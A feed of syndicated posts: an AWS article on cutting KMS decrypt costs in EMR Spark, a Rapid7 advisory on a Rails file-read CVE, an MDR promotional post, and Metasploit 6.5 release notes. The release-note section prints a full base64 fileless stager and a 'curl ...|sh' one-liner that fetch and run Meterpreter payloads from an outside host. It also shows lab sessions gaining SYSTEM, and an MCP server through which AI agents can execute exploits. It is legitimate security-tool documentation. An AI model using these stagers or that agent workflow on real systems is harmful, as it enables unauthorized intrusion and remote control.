Post Syndicated from LGR original https://www.youtube.com/watch?v=L2MdOK92MHE
Lowering AWS KMS decrypt API costs in EMR Spark jobs
Post Syndicated from Navaneedha Krishnan Jagathesan original https://aws.amazon.com/blogs/big-data/lowering-aws-kms-decrypt-api-costs-in-emr-spark-jobs/
Modern organizations processing vast amounts of data on Amazon EMR with Apache Spark face a growing cost challenge. As the number of encrypted Amazon Simple Storage Service (Amazon S3) objects grows, AWS Key Management Service (AWS KMS) decrypt API calls multiply rapidly, driving up operational costs. Consider a retail organization processing hundreds of terabytes of customer transaction data daily in S3 encrypted with AWS KMS. Each Spark task accessing an encrypted S3 object triggers an AWS KMS decrypt API call. At scale, these calls accumulate into significant and often unexpected cost increases. This is especially true for workloads that require key auditability and cannot switch to S3 Bucket Keys. S3 Bucket Keys reduce AWS KMS request costs by decreasing the number of calls from S3 to AWS KMS. However, S3 Bucket Keys limit per-object key auditability in AWS CloudTrail, which might not meet the compliance requirements of some organizations.
This post introduces practical techniques to reduce AWS KMS decrypt costs. You can reduce API call volume and lower costs without compromising encryption. It covers three techniques: optimizing file formats (including Apache Iceberg), aggregating data, and using AWS Glue Data Catalog partition indexes.
Optimization techniques
The following sections describe three techniques you can apply independently or together to reduce the number of AWS KMS decrypt API calls.
Use data aggregation
Data aggregation reduces redundant AWS KMS decrypt API calls by consolidating smaller files into larger blocks. When Spark reads many small files from S3, each file triggers its own decrypt call. By combining multiple small files into fewer, larger files, you can reduce the total number of AWS KMS API invocations. This technique is effective for read-heavy workloads that involve numerous small files stored on S3.
You can use AWS CloudTrail to monitor changes in API call frequency and validate the effectiveness of data aggregation in reducing costs.
Step 1: Benchmark baseline performance
Before applying optimizations, establish baseline metrics to quantify improvements.
The following figure shows the number of AWS KMS Decrypt API calls captured in AWS CloudTrail. Use these baseline metrics to compare against optimized results in subsequent steps.
AWS CloudTrail log showing baseline AWS KMS Decrypt API call count
Step 2: Aggregate files using Spark
Consolidating smaller files into fewer, larger files stored in S3 minimizes redundant decrypt API calls.
Step 3: Rerun the job with optimized files
Read the aggregated data created in Step 2 and compare the AWS KMS Decrypt API call count against the baseline metrics from Step 1.
The following figure shows the AWS CloudTrail logs after reading the aggregated data.
AWS CloudTrail logs in Amazon Athena showing AWS KMS Decrypt API call count after data aggregation
CloudTrail metrics comparison
Track the number of API calls and observe the direct impact of data aggregation on reducing AWS KMS decrypt API calls for the same amount of data.
The following figure compares the AWS KMS Decrypt API call count before and after data aggregation for the same dataset.
AWS KMS Decrypt API call comparison before and after data aggregation
Aggregating small files into fewer large files reduces decrypt calls and shortens load time.
Optimize file formats and compression
Selecting appropriate file formats and applying compression minimizes the amount of data read from S3 and the number of AWS KMS decrypt operations.
Columnar formats (Parquet/ORC)
Columnar file formats like Parquet and ORC let Spark read only the required columns for analysis, which improves performance for analytical queries. For example, you can convert raw CSV data to Parquet to benefit from better I/O efficiency and query optimization.
Iceberg format
Apache Iceberg is a modern table format designed for large-scale analytic datasets. It supports schema evolution, snapshot isolation, and time travel, making it an excellent choice for data lakes on S3. When used with PySpark, Apache Iceberg simplifies data management by automatically optimizing file layouts, handling partitions, and integrating with Spark catalogs.
The following PySpark example uses Iceberg with Amazon EMR and S3:
Compression
Using compression reduces data size and speeds up reads and writes between S3 and Spark. Note: ZSTD is the recommended and default compression codec for Iceberg, offering better compression ratios. For this demonstration, we use Snappy to illustrate the concept.
Compression not only minimizes I/O and network overhead but also accelerates job execution in distributed Spark environments.
CloudTrail comparison on API calls
The following figure shows the reduction in AWS KMS Decrypt API calls when using optimized file formats with compression.
AWS KMS Decrypt API calls on optimized file formats with compression
The following table illustrates the reduction in AWS KMS decrypt calls when moving from raw, uncompressed CSV data to optimized Parquet files with compression enabled.
AWS KMS Decrypt API call comparison for CSV and compressed Parquet with Snappy
AWS Glue Data Catalog partition index
Partitioning data helps Spark jobs retrieve subsets of relevant data, reducing scan ranges, and decrypt operations. Using AWS Glue Data Catalog partition indexes reduces scanning overhead and the number of AWS KMS API calls.
Without a partition index, when Spark queries a partitioned table, AWS Glue Data Catalog returns all partitions by calling the GetPartitions API. Spark then reads every S3 object across all returned partitions. Because each S3 object is individually encrypted, Spark must call the AWS KMS Decrypt API once per object. More objects mean more decrypt calls and higher costs. With a partition index, AWS Glue performs server-side partition filtering, returning only matching partitions.
Step 1: Baseline query without partition index
Using an Amazon EMR Spark job:
Then check CloudTrail for the kms:Decrypt call count.
The following figure shows the AWS KMS Decrypt API call count when running the baseline query without a partition index. Spark scans all partitions, resulting in a higher number of decrypt calls.
AWS KMS Decrypt API call count without a partition index
Step 2: Add partition index and rerun the baseline query from Step 1
In the AWS Management Console or through the AWS Command Line Interface (AWS CLI), create partition indexes and rerun the same baseline query from Step 1. Create partition indexes on the year and month columns. Then check CloudTrail for the kms:Decrypt call count.
The following figure shows the AWS KMS Decrypt API call count after adding a partition index. With the partition index, AWS Glue filters partitions server-side, resulting in fewer S3 objects read and fewer decrypt calls.
AWS KMS Decrypt API call count with a partition index
Conclusion
Optimizing EMR Spark jobs ensures cost-effective and efficient processing of encrypted data at scale. S3 Bucket Keys is the most effective way to reduce AWS KMS Decrypt API calls. The techniques covered in this post are additional optimizations that you can use together with S3 Bucket Keys for further cost reduction. You can also use them independently when S3 Bucket Keys cannot be used because of per-object auditability requirements in CloudTrail. Start implementing these strategies today to improve your Spark workload efficiency and achieve cost savings.
We welcome your feedback. If you have questions or suggestions about this post, leave a comment below.
About the author
KindaRails2Shell: CVE-2026-66066, Critical Arbitrary File Read and Possible Remote Code Execution in Ruby on Rails
Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/etr-kindarails2shell-cve-2026-66066-critical-arbitrary-file-read-and-possible-remote-code-execution-in-ruby-on-rails
Overview
On July 29, 2026, the Ruby on Rails project published a security advisory for CVE-2026-66066, a critical vulnerability affecting Active Storage image processing when used in conjunction with the libvips image processing library. The vulnerability has a CVSSv4 score of 9.5 and is classified as Initialization of a Resource with an Insecure Default (CWE-1188). An unauthenticated attacker may be able to leverage CVE-2026-66066 and read files accessible to the Rails application process, potentially exposing secrets that could enable remote code execution (RCE) or access to connected systems.
An application is affected when it uses libvips for Active Storage image processing and accepts image uploads from untrusted users. Rails notes that generating image variants is not a separate requirement for exposure. Vips is the default Active Storage variant processor for applications configured with Rails 7.0 or later defaults. According to Ethiack, only the Vips processor is affected; applications using Magick are not affected through the reported vector.
As of July 30, 2026, Rapid7 is not aware of exploitation in the wild. Ethiack and GMO Flatt Security, who independently reported the vulnerability, have withheld proof-of-concept code and details of the full attack chain. Public code claiming to exploit CVE-2026-66066 exists, but it is unclear how closely it corresponds to the full attack chain reported privately to Rails. According to the Rails Security Announcement, additional details will be disclosed no later than August 28, 2026. Rapid7 recommends remediating affected applications on an urgent basis, outside of normal patch cycles.
Technical overview
libvips uses operations to load and save image formats, including operations backed by third-party libraries. Some are marked “unfuzzed” or “untrusted” because they are unsafe for untrusted content. According to Rails, Active Storage did not disable these operations before processing user-supplied files, which may allow a crafted upload to trigger an unsafe operation and disclose files readable by the application.
The Rails patch that remediates CVE-2026-66066, disables untrusted operations during Active Storage initialization. When ruby-vips is installed, patched versions prevent the application from starting if ruby-vips or libvips is too old to support that protection.
Mitigation guidance
Organizations running affected Ruby on Rails applications should upgrade to a fixed Active Storage release and ensure libvips is 8.13 or later. Updating Rails or Active Storage alone is not sufficient when an older libvips version is installed.
The Rails advisory identifies patched Active Storage releases 7.2.3.2, 8.0.5.1, and 8.1.3.1. The corresponding Rails releases are:
|
Rails branch |
Affected versions |
Fixed version |
|---|---|---|
|
Rails 7.x |
7.0.0 through 7.2.3.1 |
7.2.3.2 |
|
Rails 8.0.x |
8.0.0 through 8.0.5 |
8.0.5.1 |
|
Rails 8.1.x |
8.1.0 through 8.1.3 |
8.1.3.1 |
Ethiack reports that Rails 6.0.0 through 6.1.7.10 may also be affected when Active Storage is configured to use Vips; Rails 6.x does not use Vips by default. Rails has not published a fixed 6.x release, so affected Rails 6.x applications should migrate to a supported fixed branch or apply the applicable workaround below.
When ruby-vips is installed, organizations should ensure it is 2.2.1 or later. Rails advises affected organizations to replace secret_key_base and other secrets accessible to the application process, including the Rails master key and the credentials it decrypts, storage service credentials, database credentials, and third-party service tokens or keys. Replacing secret_key_base expires active sessions and affects encrypted and signed cookies, signed global IDs, and Active Storage URLs.
As a temporary workaround on libvips 8.13 or later, organizations can set VIPS_BLOCK_UNTRUSTED or, with ruby-vips 2.2.1 or later, call Vips.block_untrusted(true) from an initializer. For libvips versions earlier than 8.13, Rails states that the only workaround is to remove the libvips dependency.
For the latest mitigation guidance, please refer to the Ruby on Rails security advisory.
Rapid7 customers
Exposure Command, InsightVM, and Nexpose
Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-66066 with vulnerability checks expected to be available in the July 31 content release.
Updates
-
July 30, 2026: Initial publication.
Rebecca Winthrop | Rethinking the Purpose of Education in the Age of AI | Talks at Google
Post Syndicated from Talks at Google original https://www.youtube.com/watch?v=43FZtdF2RcY
S9 E19: Alex Jones & Monkeypox: Last Week Tonight with John Oliver
Post Syndicated from LastWeekTonight original https://www.youtube.com/watch?v=A4fxBltUs8A
Rapid7 named a Leader in the IDC MarketScape: Worldwide MDR Service for Midmarket 2026 Vendor Assessment
Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/dr-idc-marketscape-leader-worldwide-mdr-service-midmarket-2026-vendor-assessment
IDC has named Rapid7 a Leader in the 2026 Worldwide Managed Detection and Response Service for Midmarket 2026 Vendor Assessment (Doc #US52992326, July 2026). We believe this recognition and research highlights where MDR is heading.
Many security programs are still built around a reactive sequence of detect, triage, and respond, but the timelines surrounding modern attacks have changed too quickly for that model to hold up on its own. Time-to-exploit has dropped from two years to 22 hours, while eCrime breakout time now sits at 29 minutes. In an environment like that, a program moving at human speed across siloed data, cannot keep pace. Rapid7’s view is that MDR must evolve accordingly, which is why we have been building toward a more preemptive security model.
What the IDC MarketScape said
The IDC MarketScape evaluation examined vendors across technical capability, service delivery, and strategic vision and two of IDC comments about Rapid7 stand out for us:
First, on how Rapid7’s MDR works differently:
“Rapid7’s Preemptive MDR model, which natively integrates vulnerability context, asset criticality, and attack path data directly into the analyst investigation workflow, provides a structurally differentiated detection approach that connects threat activity to underlying exposure in real time.”
This is the core of what we’ve built. Exposure management and detection and response work in our Command Platform’s unified data mesh, which means exposure context shapes what threats get surfaced, while active threat monitoring improves how exposure is prioritized. That connection is a meaningful part of how Rapid7 approaches MDR today.
Second, comments on threat intelligence:
“The combination of [Rapid7] Project Lorelei honeypot intelligence and Project Sonar internet-wide exposure data provides proprietary threat intelligence sources that are not replicated by other providers in the market.”
This threat intelligence is fueled by Rapid7 Labs, our dedicated global threat research and intelligence division, which constantly analyzes the global attack surface. Project Sonar catalogs public internet exposure, and Project Lorelei is our global network of honeypots that catches live attacker traffic. Together, they give Rapid7 a proprietary source of intelligence that feeds directly into detection engineering and investigation workflows.
Where MDR is heading next:
The recognition is important to us, but the more useful question is where MDR is heading and how Rapid7 is building for that shift. We are actively deploying autonomous AI agents in our Agentic SOC to handle the first hour of forensic investigation, including volatile memory collection, identity flow correlation, and initial triage before a human analyst opens the case. In practical terms, that is what responding at machine speed starts to look like inside a modern SOC.
Our MDR offering, Managed Threat Complete, includes unlimited incident response and a $1M Breach Protection Warranty, adding a stronger level of accountability for organizations that want MDR outcomes backed by both service depth and financial protection.
Read IDC’s full evaluation of Rapid7 here. If you’re evaluating your MDR approach, we’d like to show you what preemptive security could look like in your environment.
Metasploit Framework 6.5 Released
Post Syndicated from The Metasploit Team original https://www.rapid7.com/blog/post/pt-metasploit-framework-6-5-released
oday we’re proud to announce that Metasploit Framework version 6.5 has been released. Over the past two years, with the help of countless contributors, we’ve added 422 new modules along with a whole slew of new features.
Malleable C2 Profiles for HTTP
One of the latest and most requested features is support for Malleable C2 profiles across all current Meterpreter payloads. This feature enables users to load a standard profile into Meterpreter and change the shape of its HTTP(S) traffic. All Meterpreters, including Windows, Java, Python, PHP and Linux, have been updated with this functionality. Due to the size restrictions on staged payloads, staged payloads will only use the Malleable C2 configuration once the stage has been loaded. Since stageless payloads skip the download phase, they immediately use the Malleable C2 configuration.
When a compatible payload has been selected, the user only needs to set the MALLEABLEC2 option to the profile on disk. The syntax for profiles is the same as in other tools which ensures that Metasploit is capable of loading publicly available profiles. While not all of the directives are currently in use, additional improvements will be made in the future.
In the following example, an HTTP Meterpreter is deployed with a profile to emulate browsing Amazon.
msf exploit(windows/smb/psexec) > set PAYLOAD windows/x64/meterpreter_reverse_http PAYLOAD => windows/x64/meterpreter_reverse_http msf exploit(windows/smb/psexec) > set MALLEABLEC2 amazon.profile MALLEABLEC2 => amazon.profile msf exploit(windows/smb/psexec) > run [*] Started HTTP reverse handler on http://192.168.159.128:8081/ [*] 192.168.159.10:445 - Connecting to the server... [*] 192.168.159.10:445 - Authenticating to 192.168.159.10:445 as user 'smcintyre'... [!] 192.168.159.10:445 - peer_native_os is only available with SMB1 (current version: SMB3) [*] 192.168.159.10:445 - Uploading payload... BqjvmNxF.exe [*] 192.168.159.10:445 - Created \BqjvmNxF.exe... [+] 192.168.159.10:445 - Service started successfully... [*] 192.168.159.10:445 - Deleting \BqjvmNxF.exe... [*] http://192.168.159.128:8081/ handling request from 192.168.159.10; (UUID: lh15pukd) Redirecting stageless: URI '/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books' with UA 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko' -> UUID NjFswaV1VEGJ1ojU44aMCAHc2CTIr56KDkzFLcyRHZ8Go9fwFFaBp8QSiN6WYHoH5j-Oz81kEMXA9tYzxcpvs5e [*] http://192.168.159.128:8081/ handling request from 192.168.159.10; (UUID: lh15pukd) Attaching orphaned/stageless session... [*] Meterpreter session 3 opened (192.168.159.128:8081 -> 192.168.159.10:49853) at 2026-07-09 16:34:39 -0400 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > sysinfo Computer : DC OS : Windows Server 2019 (10.0 Build 17763). Architecture : x64 System Language : en_US Domain : MSFLAB Logged On Users : 9 Meterpreter : x64/windows meterpreter >
For more information, usage instructions, and what profile verbs are supported, see the Malleable C2 documentation.
Metasploit Framework 6.5 Release – MCP Server
Metasploit 6.5 introduces the Metasploit MCP Server (msfmcpd), a new middleware layer designed to facilitate secure, structured interactions between AI applications and the Metasploit Framework. By leveraging the Model Context Protocol, the server exposes 16 standardized tools—ranging from complex reconnaissance queries to active session management—allowing users to integrate Metasploit’s powerful capabilities directly into AI-driven environments like Claude or Cursor.
Toolset Categorization
The toolset is partitioned into two distinct categories to prioritize operator oversight:
- Read-Only Tools: These 12 tools are available by default and provide deep access to the Framework’s intelligence. This includes modules for searching available exploits, querying discovered host/service data, retrieving stored credentials, and monitoring active jobs or sessions. These tools allow an LLM to provide situationally aware advice without modifying the state of the target environment. Perfect for use in sensitive environments where full AI autonomy is barred.
- Dangerous Tools: To ensure safety, these 4 high-impact tools are disabled by default. This class includes methods for executing modules, using module checks, stopping sessions, and writing data to interactive sessions (like Meterpreter). To leverage these for automated exploitation, operators must explicitly enable them via CLI flag (–enable-dangerous-actions), environment variable, or configuration key.
Example LLM Workflow
With the MCP server configured, an LLM agent can automate parts of the penetration testing and vulnerability validation lifecycle. A typical workflow might look like this:
- Reconnaissance: The LLM uses msf_host_info and msf_service_info to identify potential targets and msf_search_modules to find relevant exploits matching the target’s service versions.
- Validation: Upon selecting a module, the agent calls msf_module_check (if enabled) to assess the target’s susceptibility without triggering a full exploit attempt.
- Exploitation: If the check confirms vulnerability, the agent proceeds with msf_module_execute, passing the necessary datastore options.
- Interaction: Once a session is established, the agent uses msf_session_list to verify the connection and msf_session_read to parse session output, allowing it to interpret the environment and potentially msf_session_write commands to further the engagement.
This structure allows security professionals to offload repetitive telemetry gathering to AI agents while retaining a strict, policy-driven “human-in-the-loop” gate for all offensive actions.
Starting the MCP Server
You can start the server using the msfmcpd binary or directly within msfconsole:
msf > load mcp msf > mcp --help
Usage
msf > mcp <subcommand> [options]
Subcommands:
- status: Display MCP server status
- start: Start the MCP server
- stop: Stop the MCP server
- restart: Restart the MCP server
- help: Show this help message
Common Options:
- ServerHost=<host>: Bind address (default: localhost)
- ServerPort=<port>: MCP port (default: 3000)
- DangerousActions=<true|false>: Enable destructive tools (default: false)
- RpcHost,RpcPort,RpcUser,RpcPass,RpcSSL: RPC configuration settings.
- RateLimit=<n>: Requests per minute (default: 60)
Examples:
msf > mcp start msf > mcp start ServerPort=8080 msf > mcp start RpcUser=msf RpcPass=secret
Relaying Improvements
Over the past few years, Metasploit has been making incremental improvements to its NTLM relaying capabilities. While NTLM is considered a legacy authentication protocol, it remains commonly deployed in enterprise environments. This release continues that trend by adding the second NTLM relay server to the framework; HTTP(S). Users can now start a malicious HTTP server that will prompt for authentication and relay it to one or more user-specified targets.
Users can leverage this capability with the new auxiliary/server/relay/http_to_smb and auxiliary/server/relay/http_to_ldap modules. These will open SMB and LDAP sessions respectively and allow the user to interact with the target server in the context of the user whose credentials were relayed. Interactive protocol sessions have been around for a couple of years now and offer users a more fault-tolerant way to interact with targets when compared to the old “only psexec” option. SMB sessions have also been updated with sessions -u support, enabling users to upgrade an interactive SMB session to a Meterpreter session using psexec when desired.
NTLMRelay2Self
The new capability to relay from an HTTP server to another target opens the possibility for unique attack workflows. One such technique is known as NTLMRelay2Self. This multi-step workflow involves coercing a target to authenticating to itself over HTTP which creates a relaying opportunity. After exploiting that relay opportunity, an attacker can establish an LDAP session to a domain controller, authenticated as the machine account. From this position they can leverage RBCD or Shadow Credentials to elevate their permissions on the target workstation (not the domain controller).
While all of these steps can be performed manually, Metasploit added a new exploits/windows/local/ntlm_relay_2_self module to automate this entire process, performing the relay step as well as the others in a single action. This particular attack technique does not have a patch but does require a local user on a domain joined workstation in order to exploit; effectively making it an evergreen LPE.
Fetch Payload Improvements
Fetch payloads were created to support users in writing exploits targeting the wave of new command injection vulnerabilities we saw coming in several years ago. They allow a user to generate a small command-based stager that runs on a target host and calls back to download a full binary payload to run it, giving users the ability to launch a fully-featured binary (EXE, ELF, or DLL) payload using only a single command injection. Three new features we added to extend the utility for Fetch Payloads to our users include Fileless Fetch Payloads, Pipe Fetch Payloads, and support for a new multi pseudoarchitecture payload. Fileless Fetch payloads are wonderfully named; previously, when the Fetch command stager ran, the binary payload was saved to a location on disk and launched. Fileless Fetch Payloads leverage a feature within the Linux Kernel after 3.17 that allows us to write a file directly to memory using the memfd_create syscall and execute it, so no files ever touch the target disk. There are three supported ways to use Fetch Fileless: Python3.8+, shell, and shell-search. Each uses a different technique to create a file in memory and launch it.
Fetch Pipe was created in response to several exploits that we discovered had very small command size requirements, and we found ourselves trying to shrink the command to fetch the binary payload. Fetch Pipe Payloads simply add an extra Fetch command stager so that the user only needs to run a very small command on the remote host that requests a larger command, which, in turn, requests the binary payload. It allowed us to drop the size of the payloads dramatically, and opened the door to create more complex and feature-rich Fetch command stagers since we could use the tiny “pre-stager” rather than a stager with added length, complexity, and encoding requirements.
For example, here we generate the command for a fileless fetch payload:
msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f raw
[*] Command to execute on target: echo -n 'd3JpdGVieXRlcyAoKSB7IHByaW50ZiBcXCUwM28gIiRAIiA7IH07dmRzb19hZGRyPSQoKDB4JChncmVwIC1GICJbdmRzb10iIC9wcm9jLyQkL21hcHMgfCBjdXQgLWQnLScgLWYxKSkpO2ptcD0iNDhiOCIkKGVjaG8gJChwcmludGYgJTAxNnggJHZkc29fYWRkcikgfCByZXYgfCBzZWQgLUUgJ3MvKC4pKC4pL1wyXDEvZycpImZmZTAiO3NjPSc0ODMxZjY1NjU0NWY0OGM3YzBjMWZlZmZmZjQ4ZjdkODBmMDU0ODg5YzdiMDRkMGYwNTZhMjI1ODBmMDUnO3JlYWQgc3lzY2FsbF9pbmZvIDwgL3Byb2Mvc2VsZi9zeXNjYWxsO2FkZHI9JCgoJChlY2hvICRzeXNjYWxsX2luZm8gfCBjdXQgLWQnICcgLWY5KSkpO2V4ZWMgMz4vcHJvYy9zZWxmL21lbTtkZCBicz0xIHNraXA9JHZkc29fYWRkciA8JjMgPi9kZXYvbnVsbCAyPiYxO3ByaW50ZiAiJCh3cml0ZWJ5dGVzIGBwcmludGYgJHNjIHwgc2VkICdzLy5cezJcfS8weCYgL2cnYCkiID4mMztleGVjIDM+Ji07ZXhlYyAzPi9wcm9jL3NlbGYvbWVtO2RkIGJzPTEgc2tpcD0kYWRkciA8JjMgPi9kZXYvbnVsbCAyPiYxO3ByaW50ZiAiJCh3cml0ZWJ5dGVzIGBwcmludGYgJGptcCB8IHNlZCAncy8uXHsyXH0vMHgmIC9nJ2ApIiA+JjM7' | base64 -d | ${SHELL} & cd /proc/$!;og_process=$!;sleep 2;FOUND=0;if [ $FOUND -eq 0 ];then for f in $(find ./fd -type l -perm u=rwx 2>/dev/null);do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ];then if $(curl -so $f http://10.5.135.210:8080/20s16UxqPChr1I-hZk-vRg >/dev/null);then $f & FOUND=1;break;fi;fi;done;fi;sleep 2;kill -9 $og_process;
echo -n 'd3JpdGVieXRlcyAoKSB7IHByaW50ZiBcXCUwM28gIiRAIiA7IH07dmRzb19hZGRyPSQoKDB4JChncmVwIC1GICJbdmRzb10iIC9wcm9jLyQkL21hcHMgfCBjdXQgLWQnLScgLWYxKSkpO2ptcD0iNDhiOCIkKGVjaG8gJChwcmludGYgJTAxNnggJHZkc29fYWRkcikgfCByZXYgfCBzZWQgLUUgJ3MvKC4pKC4pL1wyXDEvZycpImZmZTAiO3NjPSc0ODMxZjY1NjU0NWY0OGM3YzBjMWZlZmZmZjQ4ZjdkODBmMDU0ODg5YzdiMDRkMGYwNTZhMjI1ODBmMDUnO3JlYWQgc3lzY2FsbF9pbmZvIDwgL3Byb2Mvc2VsZi9zeXNjYWxsO2FkZHI9JCgoJChlY2hvICRzeXNjYWxsX2luZm8gfCBjdXQgLWQnICcgLWY5KSkpO2V4ZWMgMz4vcHJvYy9zZWxmL21lbTtkZCBicz0xIHNraXA9JHZkc29fYWRkciA8JjMgPi9kZXYvbnVsbCAyPiYxO3ByaW50ZiAiJCh3cml0ZWJ5dGVzIGBwcmludGYgJHNjIHwgc2VkICdzLy5cezJcfS8weCYgL2cnYCkiID4mMztleGVjIDM+Ji07ZXhlYyAzPi9wcm9jL3NlbGYvbWVtO2RkIGJzPTEgc2tpcD0kYWRkciA8JjMgPi9kZXYvbnVsbCAyPiYxO3ByaW50ZiAiJCh3cml0ZWJ5dGVzIGBwcmludGYgJGptcCB8IHNlZCAncy8uXHsyXH0vMHgmIC9nJ2ApIiA+JjM7' | base64 -d | ${SHELL} & cd /proc/$!;og_process=$!;sleep 2;FOUND=0;if [ $FOUND -eq 0 ];then for f in $(find ./fd -type l -perm u=rwx 2>/dev/null);do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ];then if $(curl -so $f http://10.5.135.210:8080/20s16UxqPChr1I-hZk-vRg >/dev/null);then $f & FOUND=1;break;fi;fi;done;fi;sleep 2;kill -9 $og_process;
Here is that same command with fetch_pipe enabled:
msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set fetch_pipe true fetch_pipe => true msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set fetch_uripath x fetch_uripath => x msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f raw [*] Command to execute on target: curl -s http://10.5.135.210:8080/x|sh curl -s http://10.5.135.210:8080/x|sh
By enabling the fetch pipe option, our payload to run on the target went from 2,374 characters to 38.
The final new feature added to Fetch Payloads in 6.5 is support for a new multi pseudoarchitecture. The new multi pseudoarchitecture allows users to generate a Fetch payload command stager that will run and report back the architecture of the target host while it requests the binary payload, allowing the Fetch Handler to serve a payload that matches the target architecture. This is incredibly useful during the exploitation of modern Linux hardware, as a Linux host could be running on one of many architectures from x86_64 to ARM. The new multi pseudoarch allows a user to send a payload in an exploit to a Linux host and have it “just work” regardless of the underlying architecture, thus eliminating the users need to know (or correctly guess).
Here is an example of generating a Fetch Multi payload and handler, then running the Fetch command stager on several different Linux targets, each running a different architecture:
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > show options Module options (payload/cmd/linux/http/multi/meterpreter_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, GET, TFTP, TNFTP, WGET) FETCH_DELETE false yes Attempt to delete the binary after execution FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3 .8, tested shells are sh, bash, zsh) (Accepted: none, python3.8+ , shell-search, shell) FETCH_SRVHOST no Local IP to use for serving payload FETCH_SRVPORT 8080 yes Local port to use for serving payload FETCH_URIPATH x no Local URI to use for serving payload LHOST 10.5.135.210 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port When FETCH_COMMAND is one of CURL,GET,WGET: Name Current Setting Required Description ---- --------------- -------- ----------- FETCH_PIPE true yes Host both the binary payload and the command so it can be piped dire ctly to the shell. When FETCH_FILELESS is none: Name Current Setting Required Description ---- --------------- -------- ----------- FETCH_FILENAME cldOGvRDplZ no Name to use on remote system when storing payload; cannot co ntain spaces or slashes FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces View the full module info with the info, or info -d command. msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > to_handler [*] Command to execute on target: curl -s http://10.5.135.210:8080/x|sh [*] Payload Handler Started as Job 0 [*] Fetch handler listening on 10.5.135.210:8080 [*] HTTP server started [*] Adding resource /csmCra8lnQTHxFXkipQC0w [*] Adding resource /x [*] Started reverse TCP handler on 10.5.135.210:4444 msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > [*] Client 10.5.132.212 requested /x [*] Sending payload to 10.5.132.212 (curl/8.13.0-rc3) [*] Client 10.5.132.212 requested /csmCra8lnQTHxFXkipQC0w?arch=armv7l [*] Sending payload to 10.5.132.212 (curl/8.13.0-rc3) [*] Dynamic Payload Detected, expecting a Query String in the request... [*] Building payload for armle arch [*] Meterpreter session 1 opened (10.5.135.210:4444 -> 10.5.132.212:45068) at 2026-07-14 11:33:18 -0500 [*] Client 10.5.132.214 requested /x [*] Sending payload to 10.5.132.214 (curl/8.11.0) [*] Client 10.5.132.214 requested /csmCra8lnQTHxFXkipQC0w?arch=aarch64 [*] Sending payload to 10.5.132.214 (curl/8.11.0) [*] Dynamic Payload Detected, expecting a Query String in the request... [*] Building payload for aarch64 arch [*] Meterpreter session 2 opened (10.5.135.210:4444 -> 10.5.132.214:39894) at 2026-07-14 11:33:26 -0500 [*] Client 10.5.132.224 requested /x [*] Sending payload to 10.5.132.224 (curl/7.52.1) [*] Client 10.5.132.224 requested /csmCra8lnQTHxFXkipQC0w?arch=mips64 [*] Sending payload to 10.5.132.224 (curl/7.52.1) [*] Dynamic Payload Detected, expecting a Query String in the request... [*] Building payload for mips64 arch [*] Meterpreter session 3 opened (10.5.135.210:4444 -> 10.5.132.224:53506) at 2026-07-14 11:33:41 -0500 msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > sessions -C sysinfo [*] Running 'sysinfo' on meterpreter session 1 (10.5.132.212) Computer : kali-raspberrypi OS : Debian (Linux 5.15.44-Re4son-v7+) Architecture : armv7l BuildTuple : armv5l-linux-musleabi Meterpreter : cmd/linux [*] Running 'sysinfo' on meterpreter session 2 (10.5.132.214) Computer : kali-raspberrypi OS : Debian (Linux 5.15.44-Re4son-v8l+) Architecture : aarch64 BuildTuple : aarch64-linux-musl Meterpreter : cmd/linux [*] Running 'sysinfo' on meterpreter session 3 (10.5.132.224) Computer : ubnt OS : Debian 9.13 (Linux 4.9.79-UBNT) Architecture : mips64 BuildTuple : mips64-linux-muslsf Meterpreter : cmd/linux msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) >
As you can see, the same short command (curl -s http://10.5.135.210:8080/x|sh) with the same handler serves the corresponding binary payload to ARMLE, AARCH64, and MIPS64-based Linux hosts.
Block API Hashes Are Randomized
The block API is a critical piece of shellcode that is the foundation of all of Metasploits 32-bit and 64-bit payloads. It enables the shellcode author to invoke win32 API methods using a 32-bit hash of the method and module name. It’s been over 5 years since Metasploit started randomizing this piece of shellcode so its 140+ static were no longer trivial signature fodder. What remained however was the 32-bit API hash, whose usage was periodically the subject of various reports. This year, Metasploit updated the block API itself to allow the 32-bit hashes to also be randomized. Now each time the block API is generated, not only are the instructions shuffled but the hash used to invoke win32 API methods are randomized.
ATT&CK Metadata
When you have about 4500 exploit auxiliary and post modules, discoverability can be a real problem. One thing Metasploit often deals with is ensuring that users have optimal means to find what they are looking for. Historically this has manifested itself as search improvements and even an fzf plugin. One thing users often need to do however is emulate real world threat actors. A substantial amount of threat intelligence provides these techniques while documenting the attack chains. Metasploit has begun tagging our own modules with ATT&CK tags to enable users to easily find modules that leverage a particular technique. To search for a module, use the att&ck search modifier. For example to find all modules that leverage T1059.001 (Command and Scripting Interpreter: PowerShell) use att&ck:T1059.001. The hierarchy is also honored, so to search more broadly for T1059 (Command and Scripting Interpreter) use att&ck:T1059 and additional modules such as exploit/windows/mysql/mysql_mof will be included in the search results.
Conclusion
